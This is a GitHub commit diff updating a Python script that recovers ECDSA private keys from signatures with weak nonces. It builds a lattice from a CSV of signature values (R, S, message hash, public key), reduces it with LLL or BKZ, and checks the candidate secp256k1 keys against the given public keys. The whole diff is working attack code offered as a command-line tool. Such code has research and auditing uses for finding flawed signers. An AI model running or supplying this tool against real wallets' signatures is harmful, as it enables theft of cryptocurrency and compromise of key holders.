Skip to content

Commit caa14c9

Browse files
authored
Update crack_weak_ECDSA_nonces_with_LLL.py
1 parent d3ced6e commit caa14c9

File tree

1 file changed

+139
-45
lines changed

1 file changed

+139
-45
lines changed

crack_weak_ECDSA_nonces_with_LLL.py

Lines changed: 139 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,14 @@
11
#!/usr/bin/env python
2-
# Author: Dario Clavijo (2020)
2+
# Author: Dario Clavijo (2020)
3+
# MIT License
34

45
import sys
56
import argparse
67
import mmap
78
import gmpy2
89
from fpylll import IntegerMatrix, LLL, BKZ
910
from ecdsa import SigningKey, SECP256k1
10-
11+
from ecdsa.ecdsa import int_to_string
1112

1213
DEFAULT_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
1314

@@ -16,34 +17,54 @@ def modular_inv(a, b):
1617
return int(gmpy2.invert(a, b))
1718

1819

20+
def normalize_pubhex(s: str) -> str:
21+
"""Normalize pubkey hex string: strip prefix, lowercase."""
22+
if s is None:
23+
return ""
24+
s2 = s.strip()
25+
if s2.startswith("0x") or s2.startswith("0X"):
26+
s2 = s2[2:]
27+
return s2.lower()
28+
29+
1930
def load_csv(filename, limit=None, mmap_flag=False):
2031
msgs, sigs, pubs = [], [], []
32+
def parse_pub(p):
33+
return normalize_pubhex(p)
34+
2135
if mmap_flag:
22-
with open(filename, 'r') as f:
36+
with open(filename, "r") as f:
2337
mapped_file = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
2438
lines = mapped_file.splitlines()
2539
for n, line in enumerate(lines):
2640
if limit is not None and n >= limit:
2741
break
28-
l = line.decode('utf-8').rstrip().split(",")
29-
tx, R, S, Z, pub = l
42+
l = line.decode("utf-8").rstrip().split(",")
43+
if len(l) < 5:
44+
continue
45+
tx, R, S, Z, pub = l[:5]
3046
msgs.append(int(Z, 16))
3147
sigs.append((int(R, 16), int(S, 16)))
32-
pubs.append(pub)
48+
pubs.append(parse_pub(pub))
3349
else:
34-
with open(filename, 'r') as fp:
50+
with open(filename, "r") as fp:
3551
for n, line in enumerate(fp):
3652
if limit is not None and n >= limit:
3753
break
38-
tx, R, S, Z, pub = line.rstrip().split(",")
54+
parts = line.rstrip().split(",")
55+
if len(parts) < 5:
56+
continue
57+
tx, R, S, Z, pub = parts[:5]
3958
msgs.append(int(Z, 16))
4059
sigs.append((int(R, 16), int(S, 16)))
41-
pubs.append(pub)
60+
pubs.append(parse_pub(pub))
4261
return msgs, sigs, pubs
4362

4463

4564
def make_matrix_fpylll(msgs, sigs, B, order, integer_mode=False):
4665
m = len(msgs)
66+
if m < 1:
67+
raise ValueError("Need at least 1 signature to construct matrix")
4768
m1, m2 = m + 1, m + 2
4869
B2 = 1 << B
4970
mat = IntegerMatrix(m2, m2)
@@ -58,19 +79,23 @@ def make_matrix_fpylll(msgs, sigs, B, order, integer_mode=False):
5879
delta_r = (sigs[i][0] * mi_sigi_order - rnsn_inv) % order
5980
delta_z = (msgs[i] * mi_sigi_order - mnsn_inv) % order
6081

61-
mat[i, i] = order
82+
mat[i, i] = int(order)
6283
if integer_mode:
84+
# scale into integer domain
6385
mat[m, i] = int(order * delta_r)
6486
mat[m1, i] = int(order * delta_z)
6587
else:
88+
# keep smaller integers but scaled reasonably
6689
mat[m, i] = int(delta_r)
6790
mat[m1, i] = int(delta_z)
6891

6992
if integer_mode:
70-
mat[m, m1] = B2
93+
# keep large scaling in integer mode
94+
mat[m, m1] = int(B2)
7195
else:
72-
mat[m, m1] = int(B2 // order)
73-
mat[m1, m1] = B2
96+
# use rounded ratio to avoid truncation artifacts
97+
mat[m, m1] = int(round(B2 / order)) if order != 0 else int(B2)
98+
mat[m1, m1] = int(B2)
7499

75100
return mat
76101

@@ -84,82 +109,151 @@ def reduce_matrix(matrix, algorithm="LLL"):
84109
return matrix
85110

86111

87-
def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
112+
def point_bytes_from_vk(vk):
113+
"""Return uncompressed and compressed hex strings from a VerifyingKey."""
114+
raw = vk.to_string()
115+
if len(raw) != 64:
116+
# unexpected format - fallback
117+
return None, None
118+
x = raw[:32]
119+
y = raw[32:]
120+
x_hex = x.hex()
121+
y_hex = y.hex()
122+
uncompressed = "04" + x_hex + y_hex
123+
# compressed prefix depends on parity of y
124+
y_int = int.from_bytes(y, "big")
125+
prefix = "03" if (y_int & 1) else "02"
126+
compressed = prefix + x_hex
127+
return uncompressed.lower(), compressed.lower()
128+
129+
130+
def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20, max_candidates=1000):
88131
keys = set()
89132
m = len(msgs)
90133
msgn, rn, sn = msgs[-1], sigs[-1][0], sigs[-1][1]
91134

92135
params = []
93136
for i in range(m):
94-
a = rn * sigs[i][1]
95-
b = sn * sigs[i][0]
96-
c = sn * msgs[i]
97-
d = msgn * sigs[i][1]
137+
a = (rn * sigs[i][1]) % order
138+
b = (sn * sigs[i][0]) % order
139+
c = (sn * msgs[i]) % order
140+
d = (msgn * sigs[i][1]) % order
98141
cd = (c - d) % order
99-
ab_list = None if a == b else [(a - b) % order, (b - a) % order]
142+
ab_list = None if a == b else [((a - b) % order), ((b - a) % order)]
100143
params.append((b, cd, ab_list))
101144

145+
# compute row norms (only first m columns contribute to norm in our design)
102146
row_norms = []
103-
for idx in range(matrix.nrows):
104-
norm2 = sum((float(matrix[idx, j]) ** 2 for j in range(m)))
105-
row_norms.append((norm2, idx))
147+
for ridx in range(matrix.nrows):
148+
# norm over first m columns
149+
norm2 = 0.0
150+
for j in range(m):
151+
v = float(matrix[ridx, j])
152+
norm2 += v * v
153+
row_norms.append((norm2, ridx))
106154
row_norms.sort()
107155

156+
checked = 0
108157
for _, ridx in row_norms[:max_rows]:
158+
if checked >= max_candidates:
159+
break
109160
row = [int(matrix[ridx, j]) for j in range(m)]
110161
for i, (b, cd, ab_list) in enumerate(params):
111-
base = (cd - b * row[i])
162+
base = (cd - (b * row[i])) % order
112163
if ab_list is None:
113-
keys.add(base % order)
164+
# direct candidate
165+
candidate = base % order
166+
if 1 <= candidate < order:
167+
keys.add(candidate)
114168
else:
115169
for ab in ab_list:
116170
if ab:
117-
inv = modular_inv(ab, order)
118-
keys.add((base * inv) % order)
171+
try:
172+
inv = modular_inv(ab, order)
173+
except Exception:
174+
continue
175+
candidate = (base * inv) % order
176+
if 1 <= candidate < order:
177+
keys.add(candidate)
178+
checked = len(keys)
179+
if checked >= max_candidates:
180+
break
181+
119182
return list(keys)
120183

121184

122-
def is_valid_key(privkey: int, pubkeys: list) -> bool:
123-
"""
124-
Check if privkey matches any known pubkey (hex string, uncompressed only).
125-
"""
126-
try:
127-
sk = SigningKey.from_secret_exponent(privkey, curve=SECP256k1)
128-
vk = sk.get_verifying_key()
129-
derived_hex = "04" + vk.to_string().hex()
130-
return derived_hex.lower() in [p.lower() for p in pubkeys]
131-
except Exception:
132-
return False
185+
def derived_pubhexes_for_candidates(candidates):
186+
"""Given a list of private integer candidates, derive both compressed and uncompressed pub hexes."""
187+
mapping = {}
188+
for priv in candidates:
189+
try:
190+
sk = SigningKey.from_secret_exponent(priv, curve=SECP256k1)
191+
vk = sk.get_verifying_key()
192+
uncmp, cmpd = point_bytes_from_vk(vk)
193+
mapping[priv] = (uncmp, cmpd)
194+
except Exception:
195+
# skip invalid privs
196+
continue
197+
return mapping
133198

134199

135-
def display_keys(keys, pubkeys):
136-
verified = [k for k in keys if is_valid_key(k, pubkeys)]
200+
def display_keys(keys, pubkeys, show_all=False):
201+
pubset = set(normalize_pubhex(p) for p in pubkeys if p)
202+
if not pubset:
203+
sys.stderr.write("[!] Warning: no pubkeys given for verification.\n")
204+
205+
# batch derive pubkeys
206+
mapping = derived_pubhexes_for_candidates(keys)
207+
verified = []
208+
for priv, (uncmp, cmpd) in mapping.items():
209+
if uncmp in pubset or cmpd in pubset:
210+
verified.append((priv, uncmp, cmpd))
211+
137212
if not verified:
138-
print("No verified keys found.")
213+
if show_all:
214+
# show all candidates in hex
215+
print("Recovered candidates (not verified):")
216+
for k in keys:
217+
print(f"{k:064x}")
218+
else:
219+
print("No verified keys found.")
139220
return
221+
140222
print("\nVerified private keys:")
141-
for key in verified:
142-
print(f"{key:064x}")
223+
for priv, uncmp, cmpd in verified:
224+
print(f"priv: {priv:064x}")
225+
print(f" uncompressed: {uncmp}")
226+
print(f" compressed: {cmpd}\n")
143227

144228

145229
def main():
146230
parser = argparse.ArgumentParser(description="ECDSA private key recovery using lattice reduction (fpylll)")
147231
parser.add_argument("filename", help="CSV file containing ECDSA traces")
148232
parser.add_argument("B", type=int, help="log2 bound parameter B")
149-
parser.add_argument("limit", type=int, help="Limit number of signatures to process")
233+
parser.add_argument("limit", type=int, nargs="?", default=None, help="Limit number of signatures to process (optional)")
150234
parser.add_argument("--order", type=int, default=DEFAULT_ORDER, help="Curve order (default: secp256k1)")
151235
parser.add_argument("--reduction", choices=["LLL", "BKZ"], default="LLL", help="Lattice reduction algorithm")
152236
parser.add_argument("--mmap", action="store_true", help="Enable mmap for fast CSV access")
153237
parser.add_argument("--integer_mode", action="store_true", help="Scale matrix to ensure integer values")
238+
parser.add_argument("--max_rows", type=int, default=20, help="Max number of reduced rows to inspect")
239+
parser.add_argument("--max_candidates", type=int, default=1000, help="Stop after this many candidates are gathered")
240+
parser.add_argument("--show_all", action="store_true", help="Show all recovered candidates even if not verified")
154241
args = parser.parse_args()
155242

156243
msgs, sigs, pubs = load_csv(args.filename, limit=args.limit, mmap_flag=args.mmap)
157244
sys.stderr.write(f"Using: {len(msgs)} sigs...\n")
245+
if len(msgs) < 2:
246+
sys.stderr.write("[!] Warning: fewer than 2 signatures - results may be meaningless.\n")
158247

159248
matrix = make_matrix_fpylll(msgs, sigs, args.B, args.order, integer_mode=args.integer_mode)
249+
sys.stderr.write("Matrix constructed, starting reduction...\n")
160250
matrix = reduce_matrix(matrix, algorithm=args.reduction)
161-
keys = privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, args.order)
162-
display_keys(keys, pubs)
251+
sys.stderr.write("Reduction complete, extracting candidates...\n")
252+
253+
keys = privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, args.order, max_rows=args.max_rows, max_candidates=args.max_candidates)
254+
sys.stderr.write(f"Candidates found: {len(keys)}\n")
255+
256+
display_keys(keys, pubs, show_all=args.show_all)
163257

164258

165259
if __name__ == "__main__":

0 commit comments

Comments
 (0)